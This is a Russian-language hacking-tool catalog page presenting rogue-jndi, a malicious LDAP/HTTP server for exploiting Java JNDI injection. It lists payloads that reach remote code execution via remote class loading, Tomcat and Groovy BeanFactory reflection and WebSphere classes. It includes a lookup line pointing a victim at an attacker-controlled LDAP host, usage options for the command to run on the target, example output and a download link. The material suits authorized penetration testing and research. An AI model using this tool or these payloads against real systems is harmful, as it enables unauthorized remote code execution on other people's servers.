Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
rogue-jndi — Вредоносный LDAP-сервер для атак с внедрением JNDI | Kitploit
Инструменты/GitHubGitHub/veracode-research/rogue-jndi
ЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHubveracode-research/rogue-jndi

rogue-jndi

Вредоносный LDAP-сервер для атак с внедрением JNDI

Репозиторий
1.1k22732 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Rogue JNDI

Вредоносный LDAP-сервер для атак с JNDI-инъекциями.

Описание

Проект содержит LDAP- и HTTP-серверы для эксплуатации небезопасного по умолчанию Java JNDI API.
Для выполнения атаки вы можете запустить эти серверы локально, а затем вызвать разрешение JNDI на уязвимом клиенте, например:

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Это инициирует соединение от уязвимого клиента к локальному LDAP-серверу. Затем локальный сервер отвечает вредоносной записью, содержащей одну из полезных нагрузок (payload), которая может быть полезна для достижения удалённого выполнения кода.

Мотивация

В дополнение к известным методам JNDI-атак (через удалённую загрузку классов в ссылках) этот инструмент предлагает новые векторы атак, используя возможности ObjectFactories.

Поддерживаемые полезные нагрузки

  • RemoteReference.java - классическая JNDI-атака, приводит к RCE через удалённую загрузку классов, работает вплоть до jdk8u191
  • Tomcat.java - приводит к RCE через небезопасную рефлексию в
org.apache.naming.factory.BeanFactory
  • Groovy.java - приводит к RCE через небезопасную рефлексию в org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
  • WebSphere1.java - приводит к OOB XXE в com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java - приводит к RCE через манипуляцию classpath в com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
  • Использование

    root@kitploit:~
    $ java -jar target/RogueJndi-1.0.jar -h
    +-+-+-+-+-+-+-+-+-+
    |R|o|g|u|e|J|n|d|i|
    +-+-+-+-+-+-+-+-+-+
    Usage: java -jar target/RogueJndi-1.0.jar [options]
      Options:
        -c, --command  Command to execute on the target server (default: 
                       /Applications/Calculator.app/Contents/MacOS/Calculator) 
        -n, --hostname Local HTTP server hostname (required for remote 
                       classloading and websphere payloads) (default: 
                       192.168.1.10) 
        -l, --ldapPort Ldap bind port (default: 1389)
        -p, --httpPort Http bind port (default: 8000)
        --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                       (default: /list.wsdl)
        --localjar     [websphere2 payload option] Local jar file to load (this 
                       file should be located on the remote server) (default: 
                       ../../../../../tmp/jar_cache7808167489549525095.tmp) 
        -h, --help     Show this help
    

    Наиболее важные параметры — это hostname LDAP-сервера (-n, должен быть доступен с целевой машины) и команда, которую вы хотите выполнить на целевом сервере (-c).

    В качестве альтернативы опции "-c" вы можете изменить файл ExportObject.java, поместив в него Java-код, который хотите выполнить на целевом сервере.

    Пример:

    root@kitploit:~
    $ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
    +-+-+-+-+-+-+-+-+-+
    |R|o|g|u|e|J|n|d|i|
    +-+-+-+-+-+-+-+-+-+
    Starting HTTP server on 0.0.0.0:8000
    Starting LDAP server on 0.0.0.0:1389
    Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
    Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
    Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
    Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
    Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
    Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
    Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
    Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
    

    Сборка

    Требуются Java v1.7+ и Maven v3+

    root@kitploit:~
    mvn package
    

    Дисклеймер

    Это программное обеспечение предоставляется исключительно в образовательных целях и/или для тестирования систем, на атаку которых у пользователя есть предварительное разрешение.

    Особая благодарность

    • Alvaro Muñoz и Oleksandr Mirosh за отличный whitepaper по JNDI-атакам
    • @zerothoughts за вдохновляющий репозиторий spring-jndi
    • Moritz Bechler за выдающееся исследование marshallsec
    • Orange Tsai и Welk1n за гаджет Apache + Groovy

    Ссылки

    • Статья об эксплуатации JNDI-инъекций в Java в блоге Veracode
    • Как я снова взломал Facebook! RCE без аутентификации на MobileIron MDM

    Авторы

    Michael Stepankin

    Скачать инструмент